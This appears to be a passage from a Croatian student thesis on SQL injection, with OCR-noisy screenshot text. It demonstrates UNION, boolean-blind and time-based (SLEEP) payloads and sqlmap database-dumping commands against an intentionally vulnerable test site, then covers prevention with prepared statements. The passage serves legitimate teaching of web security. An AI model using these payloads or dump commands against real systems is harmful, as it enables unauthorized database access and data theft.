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Operatorom UNION uspjesno se spojio zlonamjerni SQL upit s izvornim upitom kojeg treba
izvesti web aplikacija. Rezultat unesenog upita spojio se s rezultatom izvornog upita Sto je
omogucilo dobivanje vrijednosti stupaca iz druge ili iste tablice. Vidljivo je da su drugi 1 treci
stupac prikazani u sucelju popularizirani konstantama umetnutog SQL koda. Na ovaj nacin se
saznalo da drugi 1 tre¢i stupac pruzaju ispis iz baze podataka. SQL posluzitelji posjeduje veliki

broj ugradenih funkcija pa se mogu iskoristiti neke od njih da se sazna viSe informacija.

http://testphp.vulnweb.com/artists.php?artist=-1 union select

1,database () ,version/()

« - C @ testphp.vulnweb.com/artists.php?artist=-1 union select 1,database().version()

: Apps

Macunetix [0 TE

Acunetix Web Vulnerability Scanner

home | categories | artists | disclaimer | yourcart | guestbook | AJAX Demo

search art artist: acuart

Browse categories 8.0.22-0ubuntu0.20.04.2
Browse artists

Your cart view pictures of the artist

Slika 3.8 Ime baze podataka i verzija posluzitelja

3.3. Slijepi SQL napad - (engl. Blind based)

Slijepi napad umetanjem SQL koda vuce ime od interakcije s bazom podataka gdje napadac
manipulira bazom bez da izravno vidi rezultate svojih zlonamjernih radnji. Za razliku od napada
temeljenih na greskama koja se svodi na dobivanje poruke od aplikacije, slijepi SQL napad ne
zahtijeva nikakav vizualni dokaz da se nesto desilo s bazom podataka.

U prijasnjim tipovima napada radili su se upiti s predvidljivim rezultatima logi¢kog izraza,
uvjet je bio uvijek istiniti ili neistiniti. Ovdje se koristi uvjet koji bi mogao biti istiniti i na taj
nacin otkriti neke informacije o bazi podataka bez prikazanih povratnih informacija.

Pomocu logicke varijable zadatak je utvrditi da li se upit moze smatrati istinitim (engl. true)
ili nestinitim (engl. false), a dostupne vrijednosti su normalne logicke operacije (i, ili,
nije). Slanjem logi¢kog upita prema bazi podataka ranjive aplikacije, napada¢ moze ovisno o

ponasanju aplikacije zakljuciti da li je moguce izvesti napad umetanjem SQL koda.
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Povratni odgovor omoguc¢uje napadacu da procijeni kako se tretiraju logicki upiti, tj. vraca li
aplikacija istiniti ili neistiniti odgovor na poslan zlonamjerni upit, iako se podaci iz baze

podataka ne prikazuju.

https://testphp.vulnweb.com/artists.php?artist=2 and 1=1

& > (C [m testphp.vulnweb.com/artists.php?artist=2 and 1=1

i Apps

M acunetix

Acunetix Web Vulnerability Scanner

home | categories | artists | disclaimer | your cart | guestbook | AJAX Demo

search art artist: Blad3

Browse categories

Browse artists Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec molestie. Sed aliquam
Your cart sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis nulla. In hac

Slika 3.9 Prikaz aplikacije nakon unesenog istinitog upita

Ubaci li se zlonamjerni uvijek istiniti upit AND 1=1, a nakon toga kontradiktoran uvijek
neistiniti upit AND 1=2 postoji mogucnost da se vide drugaciji rezultati u odgovoru aplikacije.
Ako se sadrzaj stranice razlikuje od stranice koja se vratila tijekom neistinitog upita, napadac
moze zakljuciti da napad logickim izrazima funkcionira..

Kod rezultata baze podataka istiniti upit osigurava da ako se uspjesno izvrsi, rezultati koji se
vracaju e biti uvijek istiniti posto je uvjet zadovoljen, dok obrnuto s neistinitim uvjetom vraceni
¢e biti prazni rezultati. Razliku izmedu istinitih i laznih povratnih rezultata napada¢ potvrduje

upotrebom logickog “ i “ operatora, poSto upit vraca istinu ako su svi uvjeti odvojeni AND

operatorom istiniti.
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http://testphp.vulnweb.com/artists.php?artist=2 and 1=2

€< > (@ |@ testphp.vulnweb.com/artists.php?artist=2 and 1=2

: Apps

Macunetix L e

Acunetix Web Vulnerability Scanner

home | categories  artists | disclaimer  yourcart  guestbook | AJAX Demo

search art
L [l

Browse categories
Browse artists
Your cart

Slika 3.10 Prikaz aplikacije nakon unesenog neistinitog upita

U oba primjera aplikacija se ponaSala drugacije. Smatra se sporijim pristupom, ali napadac
moze s malo truda kroz zlonamjerne upite prisilit bazu podataka da mu aplikacija svojim
ponasanjem prilikom testiranja odgovara s da ili ne i na taj na¢in rekonstruira informacije iz baze
podataka. Napada¢ Cesto nece biti te sreCe da mu se ispiSu detaljne poruke o pogreSkama,

ponekad je i vracena prazna stranica indikator da je na aplikaciji prisutna ranjivost.

3.4. Slijepi SQL vremenski napad - (engl. Time-based blind)

Jo§ jedan nacin izvodenja koji spada u slijepe SQL napade su takozvani vremenski napadi.
Postoje odredene varijacije, ali ve€ina sustava za upravljanje bazom podataka podrzava funkcije
za vremensku manipulaciju upita. Temelji se na slanju SQL upita prema bazi podataka gdje ce
baza pric¢ekati odredeno vrijeme ili kasniti prije nego Sto odgovori s povratnom informacijom.
Vrijeme odziva u odgovoru ¢e otkriti napadacu da li je rezultat zlonamjernog upita istinit ili
neistinit jer ovisno o tome je li uvjet potvrden ili ne, vremensko kaSnjenje ¢e se izvrsiti, a
odgovor ¢e vremenski biti duzi od normalnog odziva.

Ponekad se dobiveni rezultati zlonamjernog logi¢kog upita puno ne razlikuju pa napadac na
ovaj nacin stvara neku dodatnu razliku u odgovoru kojeg dobije iz baze podataka. U MySQL

posluzitelju neke od funkcija koje to omogucuju su SLEEP () 1 BENCHMARK () .
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< - C A Not secure | testphp.vulnweb.com/listproducts.php?cat=2

5% Apps

" Sit dR rt
M acunetix felle el itespeed Repo

Page Data
Fetch Ti (
Acunetix Web Vulnerabilitt  (jent Tme ﬁ%jgﬂ%%
: : R Server Time 0.067s (67
home | categories | artists | disclaimer | your cart Page Load Time 0.197s (197
search art Paintings
| | Lae |
Browse categories Thing . o
Slika 3.11 Primjer normalnog vremenskog odaziva web aplikacije
http://testphp.vulnweb.com/listproducts.php?cat=2-sleep(2)
< > C A Not secure | testphp.vulnweb.com/listproducts.php?cat=2-sleep(2)
% Apps
. Sitespeed Report
M acunetix Fele Tiel e
Page Data
Fetch Ti Oc 20
Acunetix Web Vulnerabilitt  jent Tme 14. 1:]2 :I'% é'tl ﬂ 64
: . B Server Time 14 136s (14136
home | categories @ artists | disclaimer | your cart Page Load Time {4 255 (14250

search art Paintings
| |

Browse categories

Thing

Slika 3.12 Vremenski odziv aplikacije nakon umetnutog zlonamjernog koda

U ovom slucaju SQL upit se izvrSava sedam puta na strani baze podataka jer je vrijeme

odziva uvijek sedam puta vece od ulazne vrijednosti SLEEP () izraza, tj. 2 x 7 = 14 sekundi.

Stvari mogu biti 1 kompleksnije, ovisno o umetnutom upitu moguce je sustavno testirat jedan po

jedan znak u tablicama baze podataka. Ako bi trazio prvi znak rije¢i uz specificno pisan

vremenski upit, moglo bi se logi¢kim istinitim ili neistinitim upitom zakljuciti po vremenskom

odzivu da li je trazeno slovo prvo u redoslijedu ili nije.
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4. Automatizirani napad umetanjem SQL koda

Osim direktnog pristupa, napad umetanjem SQL koda moguce je izvesti kroz specijalizirane
softverske alate i skripte koji mogu puno brze odraditi neke od klju¢nih zadataka potrebnih za
uspjeSnu izvedbu napada. Neki sustavi ili web aplikacije mogu biti poprilicno komplicirani pa
runo testiranje zahtijeva visoku razinu struc¢nosti i sposobnost prac¢enja velike koli¢ine
programskog koda, uz to oduzima puno vremena. Ove automatizirane alate ne koriste samo
napadaci, nego 1 sigurnosni stru¢njaci jer konstantnom optimizacijom pojednostavljuju 1 pomazu
ustedjeti vrijeme u pronalazenju ranjivosti ciljanje aplikacije. Treba napomenuti da ¢ak i1 ako
automatizirani alati uStede vrijeme ne smatraju se uvijek pouzdanima jer postoji mogucénost da
nesto preskoce ili zbog tehnickih moguénosti ne mogu izvesti nesto §to se moglo direktnim
pristupom.

Danas postoji Siroki spektar alata za napad umetanjem SQL koda, jedan od neophodnih je
SQLmap. SQLmap pretrazuje i indeksira stranice na web aplikaciji, traZi prozore unosa i obrasce
kako bi prema njima slao zlonamjerne SQL upite koji bi mogli uzrokovati gresku u sintaksi
sustava. Sadrzava razliCite mogucnosti prilagodavanja koje omogucuju implementaciju razli¢itih
tehnika napada pa tako ima funkcionalnosti za deSifriranje rasprSene lozinke (engl. hashing) ako
se dohvati iz baze podataka. Za potrebe testiranja ¢e se takoder koristiti ranjiva Acunetix* web

aplikacija.

4.1. SQLmap

SQLmap je jedan od popularnijih i mocnijih alata za automatizaciju napada umetanjem SQL
koda. Open source, razvijen u Python programskom jeziku i usavrSavan kroz godine, SQLmap
sluzi za ispitivanje moguénosti proboja web aplikacije. [13] Automatizira proces detekcije i ako
postoje, iskoriStava moguce sigurnosne propuste kroz napad umetanjem SQL koda. Uzme li se
kroz HTTP ranjiva poveznica, SQLmap moze skenirati, povuc¢i podatke iz baze podataka pa i
pod odredenim uvjetima unosit iste u bazu podataka. Nema graficko sucelje pa se sve radi
upisivanjem naredbi putem konzole. Radi na bilo kojem operativnom sustavu koji ima instaliran
Python, a za potrebe ovog rada upotrijebit ¢emo SQLmap 1.5.5 inaCicu na virtualiziranom
okruzenju Linux Kali verzije. Linux je sustav otvorenog koda poznat po razliCitim verzijama
svojeg operativnog sustava. Popularan je zbog moguénosti moduliranja i da odgovara okruZenju
za koji ga korisnik Zeli koristiti. Tako je nastala distribucija pod nazivom Kali koja sadrzi veliki

broj alata za penetracijsko testiranje racunalnih mreZa 1 sustava.

* http://testphp.vulnweb.com - ranjiva PHP web aplikacija
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root@kali: ~

File Actions Edit View Help

Options:
-h, —help

rsion
ERBOS

-u URL, ——url=URL r L (e.g. t m.site.com/vuln.php?id=1")
-g GOOGLEDORK r Goog rk 1 as t: URLs

Slika 4.1 Prikaz SOLmap konzole

Kroz prijasnje primjere se ve¢ zna da je vrijednost u parametru artist ranjiva, dinami¢na

je 1 moze se promijeniti s varijablama SQL izraza. U konzoli je dovoljno samo navesti poveznicu

koja je opisana kao meta (engl. target) -u parametrom. Kroz seriju pitanja SQLmap ¢e skenirati

1 isprobati razliCite tehnike napada tijekom izvrSavanja. Budu¢i da se pretrazuju aspekti web
aplikacije 1 ovisno o rezultatima, SQLmap c¢e pitat $to tocno zelimo 1 koji napadi su moguci ako

se pronadu ranjivosti.

sqgqlmap -u http://testphp.vulnweb.com/artists.php?artist=1

File Actions Edit View Help

without prior mutual consent
applicabl
responsibl

ctable (possible DBMS: 'MySQL')

[ 1 [INFO] testing for SQL injection on GET parameter 'artist’

it looks like the back-end DBMS is 'MySQOL'. Do you want to skip test payloads specific f
or other DBMSes? [Y/n] []

Slika 4.2 SQLmap pokretanje napada
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SQLmap podrzava napade pomoéu HTTP GET metode. GET metode koriste se kada klijent
poput preglednika, zahtijeva odredene resurse od posluzitelja pomo¢u HTTP protokola te je ovo
uobicajena metoda za dohvacanje podataka. Sagledamo li poveznice u pregledniku, uvijek
poc¢inju upitnikom (?), nakon toga dolazi naziv varijable i vrijednost, odvojene sa znakom
jednakosti (=). Ako poveznica sadrZi viSe parametara tada su odvojene sa simbolom ampersand
(&).

File Actions Edit View Help

testing

e e

[
[
[
[
)
[
[
[
[
[
[
[
[
[
p

e Y Y i}

w

INFO testiné ! ) blind (q EP)’

[INFO] GET parameter 'artist' appears to be 'MySOL = 5.0.12 AND time-based b

ind (query SLEEP)' injectable
1[I

e Y

ULL) - 1 tc
for UNION gque
technique found
s to be u
columns. Autom

A e e

1 [INF et URL t columns in query
1 [INFO i neric UNION query (NULL) - 1 to 20 column
' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if any)? [

Slika 4.3 SQLmap automatizirano testiranje parametara

SQLmap je potvrdio da je aplikacija ranjiva na napad umetanjem SQL koda pomocu slijepog
napada, vremenskog napada i UNION operatora. Testirao je razliCite varijacije zlonamjernog
koda 1 detaljno naveo koji SQL upit ¢e koristiti u napadu. Rezultati se automatski spremaju u

zapisnik na sistemu za eventualnu buducu analizu.
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File Actions Edit View Help

s' injectable

GET parameter 'artist' is wvulnerable. Do you want to keep testing the others (if any)? [
n

sglmap identified the following injection point(s) with a total of 56 HTTP(s) requests:

d blind - WHERE or HAVING clause
8181

;] [INFO] the back-end DBMS is MySQL
] [ERITICAL] unable to connect to the target URL. sglmap is going to retry the reque

r operating system: % Ubuntu
hnology .4@, Nginx 1.19.@

logged to text files under

Slika 4.4 SOLmap rezultati skeniranja

Uz to SQLmap je otkrio da aplikacija radi na operativhom sustavu Linux Ubuntu, web
posluzitelj PHP i sustav baze podataka MySQL, zajedno s pripadaju¢im podacima o ina¢icama.
Sada mozemo i¢i 1 dublje, sljedeci korak je saznati imena baze podataka i izvuéi informacije.
SQLmap dokumentacija’ sadrzi velik broj podesivih parametara, ali za potrebe rada demonstrirat

¢emo samo neke:

Parametar Opis

--dbs pronalazi imena baze podataka

--tables pronalazi imena tablica

-dump izvuce strukturu i podatke iz baze gdje ih konvertira u jednu
datoteku

-D navodi se ime ciljane baze podataka

-T navodi se ime ciljane tablice

Tablica 4.1 Prikazani neki od parametara i opis njihove funkcije

3 https://usermanual.wiki/Document/sqlmapmanual. 1597701365 - SQLmap dokumentacija
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sglmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs

--tables -dump -D acuart -T users

root@ kali: ~

File Actions Edit View Help

web application technology: PHP 5.6.4@, Nginx 1.19.0

 database names

[#]1 information_schema

1 fetching tables for database: 'acuart’

———

Slika 4.5 SQLmap imena baze podataka i tablica

Kroz samo par linija koda SQLmap je uspio prikupiti dosta korisnih informacija iz baze
podataka i omogucio gotovo izravan pristup. U stvarnom scenariju napadac bi pokusSao ste¢i visu
razinu pristupa sustavu. U tu svrhu pokuSao bi deSiftirati rasprSene lozinke 1 pokuSao se prijaviti
kao administrator sustava gdje bi mogao pokretati naredbe izravno na posluzitelju. SQLmap
podrzava i napad pomocu rjecnika (eng. dictionary based attack) gdje odma pokusava prepoznati

1 desifrirati pronadene rasprSene lozinke.

uname address

Slika 4.6 SOLmap prikaz dohvacenih informacija u tablici
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5. Analiza

CDNetworks® kompanija koja operira na globalnoj razini pruzanjem usluga mreZne

infrastrukture CDN sadrzaja (engl. Content Delivery Network) kroz usluge u oblaku (engl. cloud)

1 sigurnost, u studenom 2020. objavljuje izvjesce o stanju web sigurnosti za prvu polovicu 2020.

godine. [14] U izvjescu navode da su se napadi na web aplikacije povecali za vise od 800% nego

za isto razdoblje 2019. godine. Kao glavni razlog naglog skoka se smatra trenutna COVID

pandemija koja je imala ozbiljan utjecaj na porast kibernetickih napada, §to je s jedne strane 1

logi¢no. Ovaj globalni fenomen zatvorio je stanovni$tvo svijeta i1 prisilio nas da za veéinu

zivotnih socio-ekonomskih aktivnosti koristimo internet. [15]

Web Attacks in H1 2019 and 2020
1200

1000

—~ 800
L+

—1

= 600
= 400
2 200
= 0

Jan Feh Mar Apr May Jun
20 H] —e—019 H]

Slika 5.1 Usporedba blokiranih napada na web aplikacije za prvu polovicu 2019. i 2020. godine
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Slika 5.2 Mrezni promet Europskog ISP-a, IXP-a i mobilnog operatera u razdoblju COVID

pandemije [15]

¢ https://www.cdnetworks.com - CDNetworks web stranica
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Navodi se da su za prvu polovicu 2020. godine napadi umetanjem SQL koda na web
aplikacije zauzeli visokih 16%. Ukazuje da ¢ak i nakon dvadesetak godina postojanja, ova

ranjivost je 1 dalje jedan od omiljenih vektora napada.

2020 H1 WEB Application Violation Types

B Brute Force B S0L Injection ® Custom Rules B Dynamic [P Blacklist
m [P Blacklist B Access Control B [llegal Request B Header Blacklist
B [llegal Download m URL Blacklist B Other

Slika 5.3 Tipovi blokiranih napada na web aplikacije [14]

Akamai Technologies’ kompanija koja se takoder bavi CDN sadrzajem, objavljuje 2020.
godine slicne podatke. Tijekom razdoblja promatranja od 24 mjeseca, gledajuci sve vertikale
razdoblja napad umetanjem SQL koda ¢ini vise od 72% svih napada na web aplikacije. Stopa
napada se prepolovi na 36% ako se gledaju napadi koji ciljaju samo sektor pruzanja financijskih

usluga. [16]

7 https://www.akamai.com - Akamai web stranica
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Web Application Attack Vectors
December 2017 — November 2019

All
Vesticals

Veitical

Financial
Sarvites

% Attacks

Attack Vector .suu .LFI .xss .FHP1 .RFI .EMDi .Dther

Slika 5.4 Pregled vrste napada na web aplikacije unutar 24 mjeseca, od prosinca 2017. do
studenog 2019. [16]

5.1. Prevencija

Napad umetanjem SQL koda danas je ve¢ dobro poznata ranjivost i obi¢no se uzima u obzir
jo§ kada je aplikacija u stanju razvoja, ali u vecini slucajeva aplikacija vuce ranjivost jo§ od
razvojne faze i dizajna. Programeri Cesto obi¢no ne razmatraju sigurnosne aspekte u aplikacijama
na kojima rade jer ve¢u vaznost posvecuju funkcionalnostima aplikacije. Takva praksa ne dovodi
samo do ranjivosti kao §to je napad umetanjem SQL koda nego stvara i dodatne probleme koji se
uglavnom rjesavaju softverskim zakrpama (engl. patching).

Postoji nekoliko nacina prevencije, a jedan od njih je kroz pripremljene upite (engl. prepared
statements). Kada se govori o pripremljenim upitima to znac¢i da se SQL kod ukljucen u upit
prethodno definira, Sto znaci da ¢e baza podataka razlikovati kod i korisnicki unos. Ako napadac
pokusava unijeti zlonamjerni SQL izraz, baza podataka ¢e dobiveni upit tretirati kao podatak, a
ne kao kod. Ovaj pristup ¢e preventirati da se dobiven upit pretvori u zlonamjeran. Kod pripreme

upita drzimo se nekoliko pravila:
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e priprema SQL upita s praznim vrijednostima kao rezerviranim mjestima gdje upitnik
predstavlja vrijednost

e vezanje varijable s rezerviranim mjestima, navode¢i svaku varijablu zajedno s tipom
podatka. Dopusteni tipovi podataka:

1 - cijeli brojevi (engl. integer)
d - decimalni broj s pomi¢nim zarezom (engl. double)
s - niz znakova (engl. string)

b - binarne podatke (engl. blob - binary large object)

Primjer pripremljenog MySQL upita u PHP-u:

$stmt = $conn->prepare ("INSERT INTO Student (ime, prezime, email)
VALUES (?, ?, ?)");

$stmt->bind param("sss", $ime, $prezime, $email);

U osnovi radi se predlozak kako ¢e izgledati SQL upit. Funkcija bind param() omogucit
¢e da se varijabla veze na rezervirana mjesta lazne vrijednosti VALUES (?, ?, ?) u

pripremljenom predloSku. Ovo sprecava bilo kakvu moguénost ubacivanja zlonamjernog SQL
koda. Nakon toga parametar "sss" govori bazi podataka tip varijable i navodi da ¢e vrijednost
$ime, $prezime, Semail biti niz znakova.

Jo$ jedan nacin prevencije je kroz pohranjene procedure gdje je princip sli¢an kao 1 kod
pripremljenih upita. Razlika je u tome gdje se SQL kod nalazi, dok su pripremljeni upiti u
logickom sloju aplikacije, pohranjene procedure se nalaze u podatkovnom sloju kojeg poziva
aplikacija. To je su skup uputa koje izvrSavaju predodreden zadatak, a njihova prednost je Sto
moze centralizirati logiku pristupa podacima na jedno mjesto i promijeniti dozvole pristupa.
Svodi se na nacelo najmanje privilegija, Sto znaci da ako napadac ugrozi pohranjenu proceduru
koja sadrzi SQL naredbe, Steta bi bila ogranicena zbog strozeg pristupa podacima. Ovisno o
aplikaciji u slucajevima gdje neki SQL kod postane nuzan dio korisnickog unosa, bitno je
napraviti popis dopusStenih SQL izraza. Izrada popisa samo najnuznijih izraza sluzi za filtriranje

nevazecih izraza, tako da ne zavrSe u poslanom upitu.
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Dobra praksa je razmisljati o zastiti u pocetnom stadiju razvoja kada se pise kod koji pristupa
bazi podataka, a to je najbolje vrijeme za sprecavanje nastanka ranjivosti umjesto da ih kasnije
rjeSava kroz softverske zakrpe. Danas postoje razli€iti alati koji analiziraju programski kod (engl.
linters) 1 pruzaju smjernice za najbolje prakse u programiranju, poStivanjem svih standarda
kodiranja, a takoder mogu prepoznati i potencijalne sigurnosne probleme. Proces razvoja bi
trebao ukljucivati testove u razli¢itim oblicima protiv ovog napada jer svakome je u interesu da

smanji rizik od buduc¢ih posljedica.
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6. Zakljucak

U ovom radu je kroz prakti¢ni dio, koriste¢i ranjivu web aplikaciju, istrazeno nekoliko
tehnika napada umetanjem SQL koda. UnatoC tome $to je starija i poznata ranjivost, pokazano je
da je jo$ uvijek prisutna i danas, naglasavaju¢i vaznost primjene preventivnih mjera. Zbog
interneta zivimo u zlatnom dobu sakupljanja i pohrane ogromne koli¢ine podataka, a danasnje
baze podataka omogucuju tvrtkama da ih analiziraju kako bi poboljsale svoje poslovanje, profit
ili da bolje razumiju sklonosti i potrebe svojih klijenata. Njihova sigurnost je poprimila mnogo
oblika jer posljedice ranjivosti mogu biti katastrofalne.

Rucnim pristupom prikazan je potencijal napada i nacin testiranja za ovu ranjivost.
Demonstrirano je da SQL kod nije zamisljen za direktnu interakciju s aplikacijama, umjesto toga
aplikacija je ta koja s obzirom na primljeni unos priprema SQL kod koji je potrebno poslati
prema bazi podataka. Kroz rad je prikazan i1 softverski alat SQLmap koji pomaze u provjeri
ranjivosti aplikacije na automatiziran nacin, ¢ime se Stedi vrijeme tijekom testiranja.
Automatizirani alati nisu zamjena za ruc¢no testiranje, ali obi¢no su dovoljni da se utvrdi je li
aplikacija ranjiva ili ne.

U smislu obrane od napada umetanjem SQL koda radi se o provjeri i primjeni nacina za
kontrolu ulaza i izlaza informacija u aplikaciji. Napad je osnovan na slanju zlonamjernog SQL
upita i kao $to je kroz rad prikazano princip je uvijek isti. Unos koji dolazi od korisnika treba
smatrati potencijalno zlonamjernim 1 tek tada se moze razmisljati o sigurnosnim mjerama koje se

mogu implementirati.
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odgovara za istinitost, izvornost i ispravnost teksta rada. U radu se ne smiju koristiti
dijelovi tudih radova (knjiga, ¢lanaka, doktorskih disertacija, magistarskih radova, izvora s
interneta, i drugih izvora) bez navodenja izvora i autora navedenih radova. Svi dijelovi
tudih radova moraju biti pravilno navedeni i citirani. Dijelovi tudih radova koji nisu
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znanstvenog ili struénoga rada. Sukladno navedenom studenti su duzni potpisati izjavu o
autorstvu rada.

/
Ta, MEMAD  BEDEKovIC (ime i prezime) pod punom moralnom,
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sam suglasan/g@ s javnom objavom zavr$nog/diplemskeg (obrisati nepotrebno)
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